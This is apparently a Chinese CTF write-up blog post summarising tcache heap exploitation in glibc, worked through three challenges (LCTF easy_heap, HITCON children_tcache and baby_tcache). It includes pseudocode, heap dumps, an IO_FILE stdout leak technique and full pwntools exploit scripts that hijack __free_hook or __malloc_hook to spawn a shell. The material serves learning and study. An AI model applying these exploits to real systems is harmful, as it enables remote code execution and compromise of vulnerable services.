Tcache利用总结 
    
      
         
        2019.02.24 
       
      
        
           
          V1NKe 
         
      
      
      
      
        
        
            热度 
            ℃
         
      
      
    
   
  
    
      前言: 开学前一天正式进入学习状态,还是蛮不错的这种感觉,就好像是高中别人都在学习自己却在贪玩的焦虑感一下子就没了,哈哈哈。不过自己的效率还是得提高一些。假期说要补上的债一样都没还上,真烦。现在开始填坑了。
正文: 2018 LCTF easy_heap: 一道关于tcache的利用题,也是之前打LCTF的第一题,现在来看一看。
试试程序发现是常规的堆题。
来看看伪代码:
漏洞主要就出在创建堆函数中,存在一个null-byte-one漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned __int64 __fastcall sub_BEC(_BYTE *a1, int a2) {   unsigned int v3; // [rsp+14h] [rbp-Ch]   unsigned __int64 v4; // [rsp+18h] [rbp-8h]   v4 = __readfsqword(0x28u);   v3 = 0;   if ( a2 )   {     while ( 1 )     {       read(0, &a1[v3], 1uLL);       if ( a2 - 1 < v3 || !a1[v3] || a1[v3] == 10 )         break;       ++v3;     }     a1[v3] = 0;     a1[a2] = 0;                                 // null by one   }   else   {     *a1 = 0;   }   return __readfsqword(0x28u) ^ v4; } 
 
一般情况下,遇到null-byte-one我们都会选择用overlapping。但是这里所分配的堆块是固定0x100大小的,不能更改,所以说我们无法构造出我们想要的堆块来利用overlapping,那么我们换种思路,既然这里选择的是最新版用上tcache机制的libc,那么我们便来利用上他的一些机制。利用unsort bin来构造攻击,首先先分配满十个堆块:
1 2 for i in range(10):     create(0xf8,'A'*0xf0) 
 
然后delete掉十个,七个进cache,三个进unseat bin当中,这里delete需要交错delete,方便实现之后的unlink:
1 2 3 4 5 6 7 delete(1) delete(3) for i in range(5,10):     delete(i) delete(0) delete(2) delete(4) 
 
然后我们再分配掉七个tcache bin,分配前两个unsort bin并且其中一个用上null-byte-one漏洞,此时的堆块情况就是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 0x55b13d397300:	0x0000000000000000	0x0000000000000101  --> 最后一块没create的unsort bin堆块 0x55b13d397310:	0x0000000000000000	0x000055b13d397500 0x55b13d397320:	0x0000000000000000	0x0000000000000000 0x55b13d397330:	0x0000000000000000	0x0000000000000000 0x55b13d397340:	0x0000000000000000	0x0000000000000000 0x55b13d397350:	0x0000000000000000	0x0000000000000000 0x55b13d397360:	0x0000000000000000	0x0000000000000000 0x55b13d397370:	0x0000000000000000	0x0000000000000000 0x55b13d397380:	0x0000000000000000	0x0000000000000000 0x55b13d397390:	0x0000000000000000	0x0000000000000000 0x55b13d3973a0:	0x0000000000000000	0x0000000000000000 0x55b13d3973b0:	0x0000000000000000	0x0000000000000000 0x55b13d3973c0:	0x0000000000000000	0x0000000000000000 0x55b13d3973d0:	0x0000000000000000	0x0000000000000000 0x55b13d3973e0:	0x0000000000000000	0x0000000000000000 0x55b13d3973f0:	0x0000000000000000	0x0000000000000000 0x55b13d397400:	0x0000000000000100	0x0000000000000101 0x55b13d397410:	0x0000000000000000	0x0000000000000000 0x55b13d397420:	0x0000000000000000	0x0000000000000000 0x55b13d397430:	0x0000000000000000	0x0000000000000000 0x55b13d397440:	0x0000000000000000	0x0000000000000000 0x55b13d397450:	0x0000000000000000	0x0000000000000000 0x55b13d397460:	0x0000000000000000	0x0000000000000000 0x55b13d397470:	0x0000000000000000	0x0000000000000000 0x55b13d397480:	0x0000000000000000	0x0000000000000000 0x55b13d397490:	0x0000000000000000	0x0000000000000000 0x55b13d3974a0:	0x0000000000000000	0x0000000000000000 0x55b13d3974b0:	0x0000000000000000	0x0000000000000000 0x55b13d3974c0:	0x0000000000000000	0x0000000000000000 0x55b13d3974d0:	0x0000000000000000	0x0000000000000000 0x55b13d3974e0:	0x0000000000000000	0x0000000000000000 0x55b13d3974f0:	0x0000000000000000	0x0000000000000000 0x55b13d397500:	0x0000000000000000	0x0000000000000101  --> 此时堆块是在使用的 0x55b13d397510:	0x000055b13d397300	0x000055b13d397700 0x55b13d397520:	0x0000000000000000	0x0000000000000000 0x55b13d397530:	0x0000000000000000	0x0000000000000000 0x55b13d397540:	0x0000000000000000	0x0000000000000000 0x55b13d397550:	0x0000000000000000	0x0000000000000000 0x55b13d397560:	0x0000000000000000	0x0000000000000000 0x55b13d397570:	0x0000000000000000	0x0000000000000000 0x55b13d397580:	0x0000000000000000	0x0000000000000000 0x55b13d397590:	0x0000000000000000	0x0000000000000000 0x55b13d3975a0:	0x0000000000000000	0x0000000000000000 0x55b13d3975b0:	0x0000000000000000	0x0000000000000000 0x55b13d3975c0:	0x0000000000000000	0x0000000000000000 0x55b13d3975d0:	0x0000000000000000	0x0000000000000000 0x55b13d3975e0:	0x0000000000000000	0x0000000000000000 0x55b13d3975f0:	0x0000000000000000	0x0000000000000000 0x55b13d397600:	0x0000000000000100	0x0000000000000100  --> 用上了'n-b-o' 0x55b13d397610:	0x000055b13d397400	0x0000000000000000 0x55b13d397620:	0x0000000000000000	0x0000000000000000 0x55b13d397630:	0x0000000000000000	0x0000000000000000 0x55b13d397640:	0x0000000000000000	0x0000000000000000 0x55b13d397650:	0x0000000000000000	0x0000000000000000 0x55b13d397660:	0x0000000000000000	0x0000000000000000 0x55b13d397670:	0x0000000000000000	0x0000000000000000 0x55b13d397680:	0x0000000000000000	0x0000000000000000 0x55b13d397690:	0x0000000000000000	0x0000000000000000 0x55b13d3976a0:	0x0000000000000000	0x0000000000000000 0x55b13d3976b0:	0x0000000000000000	0x0000000000000000 0x55b13d3976c0:	0x0000000000000000	0x0000000000000000 0x55b13d3976d0:	0x0000000000000000	0x0000000000000000 0x55b13d3976e0:	0x0000000000000000	0x0000000000000000 0x55b13d3976f0:	0x0000000000000000	0x0000000000000000 0x55b13d397700:	0x0000000000000000	0x0000000000000101 0x55b13d397710:	0x000055b13d397500	0x00007f384a260ca0 0x55b13d397720:	0x0000000000000000	0x0000000000000000 0x55b13d397730:	0x0000000000000000	0x0000000000000000 0x55b13d397740:	0x0000000000000000	0x0000000000000000 0x55b13d397750:	0x0000000000000000	0x0000000000000000 0x55b13d397760:	0x0000000000000000	0x0000000000000000 0x55b13d397770:	0x0000000000000000	0x0000000000000000 0x55b13d397780:	0x0000000000000000	0x0000000000000000 0x55b13d397790:	0x0000000000000000	0x0000000000000000 0x55b13d3977a0:	0x0000000000000000	0x0000000000000000 
 
这里需要注意的一个点就是,当分配第一个unsort bin中的堆块时,会将unsort bin中的堆块放到tcache当中去,所以后面需要将tcache填满时只需填上6个即可。
然后再利用null-byte-one实现unlink。
 
这样我们可以泄漏出libc地址,而且有两个指针指向同一个堆块,可以free掉两次,实现tcache dup。
1 2 3 4 5 6 7 8 9 10 #泄漏libc地址: for i in range(9) :     p.recvuntil('> ') data = u64(p.recv(6).ljust(8,'\x00')) libc_base = data - 4111520 log.success('libc base is :'+hex(libc_base)) free_hook = libc_base + 4118760 one_gadget = libc_base + 0x4f322 log.success('free hook is :'+hex(free_hook)) 
 
因为程序开了Full RELRO,所以这里就修改__free_hook成one_gadget来getshell。
1 2 3 4 5 6 7 8 9 10 11 for i in range(7) :     create(0xf0,'\n') create(0xf0,'\n') delete(0) #空出一个位置来为后面做准备 delete(8) delete(9) create(0xf0,p64(free_hook)) create(0xf0,p64(free_hook)) tcache指向了free_hook create(0xf0,p64(one_gadget)) 修改为one_gadget delete(1) #触发 
 
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import * p = process('./easy_heap') libc = ELF('easy_heap') elf = ELF('./libc64.so') context.log_level = 'debug' def create(size,content) :     p.sendlineafter('> ','1')     p.sendlineafter('> ',str(size))     p.sendlineafter('> ',content) def show(index) :     p.sendlineafter('> ','3')     p.sendlineafter('> ',str(index)) def delete(index) :     p.sendlineafter('> ','2')     p.sendlineafter('> ',str(index)) for i in range(10):     create(0xf8,'A'*0xf0) delete(1) delete(3) for i in range(5,10):     delete(i) delete(0) delete(2) delete(4) for i in range(7) :     create(0xf0,'\n') create(0xf0,'\n') create(0xf8,'\n') for i in range(5) :     delete(i) delete(6) delete(5) show(8) for i in range(9) :     p.recvuntil('> ')    #此处不太准确,根据自己环境自行修改 data = u64(p.recv(6).ljust(8,'\x00')) libc_base = data - 4111520 log.success('libc base is :'+hex(libc_base)) free_hook = libc_base + 4118760 one_gadget = libc_base + 0x4f322 log.success('free hook is :'+hex(free_hook)) for i in range(7) :     create(0xf0,'\n') create(0xf0,'\n') delete(0) delete(8) delete(9) create(0xf0,p64(free_hook)) create(0xf0,p64(free_hook)) create(0xf0,p64(one_gadget)) delete(1) p.interactive() 
 
2018 HITCON children_tcache: 这也是一道常规题,看一下伪代码可以发现也是只有一个null-byte-one漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 unsigned __int64 create() {   signed int i; // [rsp+Ch] [rbp-2034h]   char *dest; // [rsp+10h] [rbp-2030h]   unsigned __int64 size; // [rsp+18h] [rbp-2028h]   char s; // [rsp+20h] [rbp-2020h]   unsigned __int64 v5; // [rsp+2038h] [rbp-8h]   v5 = __readfsqword(0x28u);   memset(&s, 0, 0x2010uLL);   for ( i = 0; ; ++i )   {     if ( i > 9 )     {       puts(":(");       return __readfsqword(0x28u) ^ v5;     }     if ( !qword_202060[i] )       break;   }   printf("Size:");   size = sub_B67();   if ( size > 0x2000 )                          // size < 0x2000     exit(-2);   dest = malloc(size);   if ( !dest )     exit(-1);   printf("Data:");   sub_BC8(&s, size);   strcpy(dest, &s);                             // off by one   qword_202060[i] = dest;   qword_2020C0[i] = size;   return __readfsqword(0x28u) ^ v5; } 
 
这里size在范围内是由自己选择的,所以说比上面那一题简单一些,跟上面那一题的思路一样,利用unlink来解决问题,首先构造一个大于0x408的堆块来避免tcache机制,再构造一个在tcache机制中的chunk,再构造一个大于0x408的chunk来避免tcache,以此unlink的时候可以不被tcache影响,此时:
1 2 3 4 create(0x500, 'a' * 0x4ff) create(0x68, 'b' * 0x67) create(0x5f0, 'c' * 0x5ef) create(0x20, 'd' * 0x20) -->避免合并top chunk 
 
这时候的堆块情况为:
1 2 3 4 5 6 7 8 9 10 ----------------- |   0x511       | |               | ----------------- |   0x71        | |               | ----------------- |   0x601       | |               | ----------------- 
 
利用null-byte-one将0x601变为0x600以此来unlink:
1 2 3 4 5 6 for i in range(9):     create(0x68 - i, 'b' * (0x68 - i))     delete(0) create(0x68,'b'*0x60+p64(0x580)) #gdb.attach(p) delete(2) 
 
unlink后得到了一个0xb81的chunk,包括了以上三个chunk,但是其中chunk2还是有指针的,所以就能够堆块重用,使得两个指针指向chunk2,先malloc一个0x508的chunk,此时就可以leak出libc地址:
1 2 3 create(0x508,'a'*0x507) #gdb.attach(p) show(0) 
 
此时原本的chunk2变成了:
1 2 3 4 pwndbg> x/20xg 0x55747df85760 0x55747df85760:	0x0061616161616161	0x0000000000000671 0x55747df85770:	0x00007fdb58b5fca0	0x00007fdb58b5fca0 0x55747df85780:	0x0000000000000000	0x0000000000000000 
 
所以在此malloc一个0x68大小的chunk2,就可以实现cache dup,之后就常规操作了,改变malloc地址为one_gadget的地址,实现getshell:
1 2 3 create(0x68,p64(malloc_addr)+0x5f*'a') create(0x68,'a'*0x67) create(0x68,p64(one_addr)) 
 
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from pwn import * p = process('./program') elf = ELF('program') libc = ELF('libc-2.27.so') context.log_level = 'debug' def create(size,content):     p.sendlineafter('Your choice: ','1')     p.sendlineafter('Size:',str(size))     p.sendafter('Data:',content) def show(index) :     p.sendlineafter('Your choice: ','2')     p.sendlineafter('Index:',str(index)) def delete(index) :     p.sendlineafter('Your choice: ','3')     p.sendlineafter('Index:',str(index)) create(0x500, 'a' * 0x4ff) create(0x68, 'b' * 0x67) create(0x5f0, 'c' * 0x5ef) create(0x20, 'd' * 0x20) delete(1) delete(0) for i in range(9):     create(0x68 - i, 'b' * (0x68 - i))     delete(0) create(0x68,'b'*0x60+p64(0x580)) #gdb.attach(p) delete(2) #gdb.attach(p) create(0x508,'a'*0x507) #gdb.attach(p) show(0) #gdb.attach(p) data = u64(p.recv(6).ljust(8,'\x00')) libc_base = data - 4111520 print 'libc_base :' + hex(libc_base) create(0x68,'b'*0x67) delete(0) delete(2) malloc_addr = libc_base + libc.symbols['__malloc_hook'] one_addr = libc_base + 0x4f322 create(0x68,p64(malloc_addr)+0x5f*'a') create(0x68,'a'*0x67) create(0x68,p64(one_addr)) print hex(malloc_addr) p.sendlineafter('Your choice: ','1') p.sendlineafter('Size:','10') p.interactive() 
 
2018 HITCON baby_tcache: 比较标志性的一道tcache利用题,参杂了IO_FILE的利用。
保护全开:
1 2 3 4 5 6 7 8 $ checksec ./baby_tcache [*] '/home/v1nke/Desktop/tcache/HITCON baby_tcache/baby_tcache'     Arch:     amd64-64-little     RELRO:    Full RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      PIE enabled     FORTIFY:  Enabled 
 
整个程序只有create和delete,没有显示函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 int create() {   _QWORD *v0; // rax   signed int i; // [rsp+Ch] [rbp-14h]   _BYTE *v3; // [rsp+10h] [rbp-10h]   unsigned __int64 size; // [rsp+18h] [rbp-8h]   for ( i = 0; ; ++i )   {     if ( i > 9 )     {       LODWORD(v0) = puts(":(");       return (signed int)v0;     }     if ( !qword_202060[i] )       break;   }   printf("Size:");   size = sub_B27();   if ( size > 0x2000 )     exit(-2);   v3 = malloc(size);                            // size < 0x2000   if ( !v3 )     exit(-1);   printf("Data:");   sub_B88((__int64)v3, size);   v3[size] = 0;                                 // null-byte-one   qword_202060[i] = v3;   v0 = qword_2020C0;   qword_2020C0[i] = size;   return (signed int)v0; } 
 
create函数中就存在一个null-byte-one漏洞,且chunk size可自行指定。delete中没有问题。
没有显示函数的时候需要用到IO_FILE的一种方法去泄漏libc地址。就是修改stdout文件流中的__IO_write_base达到泄漏目的。具体看后面。
既然有了null-byte-one漏洞,那么很容易想到用Overlapping。这里我也不多叙述了,具体的跟上面所提到的大同小异,也可以说是一样的,我着重介绍一下如何泄漏libc这一块。我们先利用前面的tcache dup在_IO_2_1_stdout上创建一个chunk,此时的_IO_2_1_stdout情况是这样的:
1 2 3 4 5 6 7 8 9 pwndbg> p &_IO_2_1_stdout_  $1 = (struct _IO_FILE_plus *) 0x7ff17c2fa760 <_IO_2_1_stdout_> pwndbg> x/20xg 0x7ff17c2fa760 0x7ff17c2fa760 <_IO_2_1_stdout_>: 0x00000000fbad2887  0x00007ff17c2fa7e3 0x7ff17c2fa770 <_IO_2_1_stdout_+16>:  0x00007ff17c2fa7e3  0x00007ff17c2fa7e3 0x7ff17c2fa780 <_IO_2_1_stdout_+32>:  0x00007ff17c2fa7e3  0x00007ff17c2fa7e3 0x7ff17c2fa790 <_IO_2_1_stdout_+48>:  0x00007ff17c2fa7e3  0x00007ff17c2fa7e3 0x7ff17c2fa7a0 <_IO_2_1_stdout_+64>:  0x00007ff17c2fa7e4  0x0000000000000000 0x7ff17c2fa7b0 <_IO_2_1_stdout_+80>:  0x0000000000000000  0x0000000000000000 
 
0x7ff17c2fa780处是_IO_write_base,也就是打印函数所打印的起始地址。我们将它改为我们所要构造的打印地址泄漏libc即可。我选择将它的最低位覆盖为\x90,这时候的情况:
1 2 3 pwndbg> x/10xg 0x00007ff17c2fa790 0x7ff17c2fa790 <_IO_2_1_stdout_+48>:  0x00007ff17c2fa7e3  0x00007ff17c2fa7e3 0x7ff17c2fa7a0 <_IO_2_1_stdout_+64>:  0x00007ff17c2fa7e4  0x0000000000000000 
 
所以可以泄漏出libc。但是这里还有一个重要的点就是需要更改0x7ff17c2fa760处的_flag的值。为什么呢?puts函数会调用_IO_file_xsputn函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 size_t _IO_new_file_xsputn (FILE *f, const void *data, size_t n) { ... if ((f->_flags & _IO_LINE_BUF)(f->_flags & _IO_CURRENTLY_PUTTING)) //flag bypass,true { ... } ... if (to_do + must_flush > 0) { size_t block_size, do_write; if (_IO_OVERFLOW (f, EOF) == EOF) return to_do == 0 ? EOF : n - to_do; ... } 
 
然后会调用_IO_new_file_overflow:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int _IO_new_file_overflow (_IO_FILE *f, int ch) {   if (f->_flags & _IO_NO_WRITES) /* SET ERROR */      -->  false     {       f->_flags |= _IO_ERR_SEEN;       __set_errno (EBADF);       return EOF;     }   /* If currently reading or no buffer allocated. */   if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)     {       :       :     }   if (ch == EOF)     return _IO_do_write (f, f->_IO_write_base,               f->_IO_write_ptr - f->_IO_write_base); 
 
然后调用_IO_do_write:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do) {   _IO_size_t count;   if (fp->_flags & _IO_IS_APPENDING)              -->  True     /* On a system without a proper O_APPEND implementation,        you would need to sys_seek(0, SEEK_END) here, but is        not needed nor desirable for Unix- or Posix-like systems.        Instead, just indicate that offset (before and after) is        unpredictable. */     fp->_offset = _IO_pos_BAD;   else if (fp->_IO_read_end != fp->_IO_write_base)     {      ............     }   count = _IO_SYSWRITE (fp, data, to_do);         --> 我们所需要的目标 
 
最后调用到_IO_SYSWRITE则是我们的最终目标,所以这中间我们需要过掉比较多的槛。
默认的魔数是0xfbad0000。我们需要设置:
1 2 3 4 1.f->_flags & _IO_NO_WRITES == 0 2.f->_flags & _IO_CURRENTLY_PUTTING == 1 3.fp->_flags & _IO_IS_APPENDING == 1 4.fp->_flags & _IO_LINE_BUF == 1 
 
所以这里我们设置flags为0xfbad1800。当我们成功修改的时候:
1 2 3 4 pwndbg> x/10xg 0x7f007a2bb760 0x7f007a2bb760 <_IO_2_1_stdout_>: 0x00000000fbad1800  0x00007f007a2bb7e3 0x7f007a2bb770 <_IO_2_1_stdout_+16>:  0x00007f007a2bb7e3  0x00007f007a2bb7e3 0x7f007a2bb780 <_IO_2_1_stdout_+32>:  0x00007f007a2bb7e3  0x00007f007a2bb7e3 
 
可以看见修改了。接下来就可以愉快的泄漏libc了。后面就是常规的tcache dup修改free_hook操作了,自己可以尝试一下。
总结: 现在的tcache题目基本都给了null-byte-one的漏洞,一般都用overlapping来构造两个指针指向同一块来利用,有的会限制chunk size,那么就利用unsortbin来构造overlapping,有的限制了show函数功能,那么就利用IO_FILE修改_IO_write_base来泄漏,学会活灵活用。